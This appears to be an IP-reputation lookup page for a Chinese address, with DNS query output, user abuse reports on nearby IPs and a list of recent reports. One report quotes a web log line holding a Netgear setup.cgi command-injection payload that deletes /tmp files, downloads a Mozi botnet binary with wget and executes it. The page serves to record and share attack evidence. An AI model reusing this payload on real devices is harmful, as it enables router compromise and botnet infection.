124.119.121.54

Basic Info

City: unknown

Region: unknown

Country: China

Internet Service Provider: ChinaNet Xinjiang Province Network

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
124.119.121.227	attackbots	Probing for open proxy via GET parameter of web address and/or web log spamming. 124.119.121.227 - - [14/Jul/2020:13:12:47 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 403 154 "-" "-"	2020-07-15 01:35:58

Type

Details

Datetime

124.119.121.227

attackbots

Probing for open proxy via GET parameter of web address and/or web log spamming.

124.119.121.227 - - [14/Jul/2020:13:12:47 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 403 154 "-" "-"

2020-07-15 01:35:58

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 124.119.121.54
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 37643
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;124.119.121.54.			IN	A

;; AUTHORITY SECTION:
.			410	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2020060803 1800 900 604800 86400

;; Query time: 53 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Jun 09 08:04:11 CST 2020
;; MSG SIZE  rcvd: 118

Host info

Host 54.121.119.124.in-addr.arpa. not found: 3(NXDOMAIN)

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 54.121.119.124.in-addr.arpa: NXDOMAIN

Related IP info:

Related comments:

IP	Type	Details	Datetime
185.63.253.23	spambotsattackproxynormal	Jjsnnsj	2021-08-04 23:38:49
180.242.232.103	spambotsattacknormal	Fuck you	2021-07-09 00:27:47
36.72.218.142	spam	Tried to reset Wordpress user account password	2021-07-20 03:19:05
36.72.218.142	attack	Requested a password reset for my WP account	2021-07-07 02:16:34
185.63.253.200	attack	Bokep	2021-07-13 01:41:08
181.46.77.223	normal	Ti amu	2021-07-27 11:41:06
185.63.253.200	spamattackproxynormal	Bokep	2021-07-23 02:44:47
45.159.198.44	spambotsattackproxynormal	شیصضثقصبق	2021-07-16 17:51:47
185.63.253.200	spambotsattackproxynormal	Bokep	2021-07-23 02:44:43
2.58.148.71	spamattack	PHISHING AND SPAM ATTACK GROUP USES LayerHost, IP SERVER LLC, Root Networks LLC, Serverion BV, XSServer GmbH, Xervers, Colocrossing 104.148.18.18 Bitcoin Select arianna.lavoi@boschbuy.club, Dividends Paid Every 60 Minutes - New underground DeFi crypto, 05 Jul 2021 2.58.148.71 Save on the Cost of Gas - Effuel@shofybox.us, This Simple Device Saves You 25% on Your Car's Fuel Consumption, Wed, 7 Jul inetnum: 2.58.148.0 - 2.58.149.255 org-name: Serverion BV inetnum: 5.252.192.0 - 5.252.195.255 org-name: IP SERVER LLC NetRange: 23.247.0.0 - 23.247.127.255 OrgName: LayerHost NetRange: 31.210.22.0 - 31.210.23.255 org-name: Serverion BV NetRange: 103.73.156.0 - 103.73.156.255 OrgName: LayerHost NetRange: 104.148.0.0 - 104.148.127.255 OrgName: LayerHost NetRange: 104.223.128.0 - 104.223.255.255 OrgName: LayerHost NetRange: 107.179.0.0 - 107.179.127.255 OrgName: LayerHost NetRange: 134.73.0.0 - 134.73.255.255 CustName: Root Networks LLC NetRange: 157.52.128.0 - 157.52.255.255 OrgName: LayerHost NetRange: 185.239.242.0 - 185.239.242.255 org-name: Serverion BV inetnum: 194.59.216.0 - 194.59.217.255 org-name: Serverion BV inetnum: 195.62.32.0 - 195.62.33.255 org-name: XSServer GmbH inetnum: 195.133.12.0 - 195.133.15.255 netname: Xervers inetnum: 195.133.39.0 - 195.133.39.255 org-name: Serverion BV NetRange: 198.12.64.0 - 198.12.127.255 OrgName: ColoCrossing Some similar emails from same group 5.252.194.15 Plansforsheds - EasyShedPlans@ultraboostz.co, Discover The Easiest Way To Build Beautiful Sheds..., 15 Jun 2021 31.210.22.9 Fat belly - info@bloodpressure.buzz, Japanese “Fix” for Belly Fat?, 17 Jun 2021 31.210.22.106 On Hold - OnHold@ecobuds.us, Your FREE Red Laser Targeting System, 21 Jun 2021	2021-07-08 06:00:22
178.32.105.171	attack	Try to relay to smtpbruter@gmail.com Jul 20 12:48:01 mail postfix/postscreen[5842]: NOQUEUE: reject: RCPT from [109.237.103.13]:63328: 550 5.7.1 Service unavailable; client [109.237.103.13] blocked using sip-sip24.scty7yjrxsew.invaluement.com; from=, to=, proto=ESMTP, helo=<08aApY> J	2021-07-20 19:46:47
36.74.45.184	attack	This IP is trying to access my account	2021-07-29 08:03:46
174.253.193.182	spamattack	Whos ip is this	2021-08-06 01:26:49
36.74.45.184	attack	This IP is trying to access my account	2021-07-29 08:03:59
36.72.218.142	attack	Tried to reset Wordpress user account password	2021-07-25 01:50:02

Recently Reported IPs

109.46.20.2	126.190.133.155	126.88.58.242	64.206.122.174
159.65.223.119	101.88.213.240	134.122.65.233	88.122.199.63
69.216.20.73	167.219.171.64	95.93.17.118	200.98.136.88
166.255.4.34	221.229.75.136	37.118.38.206	95.55.81.63
67.232.25.212	208.36.183.234	174.214.147.165	91.30.199.53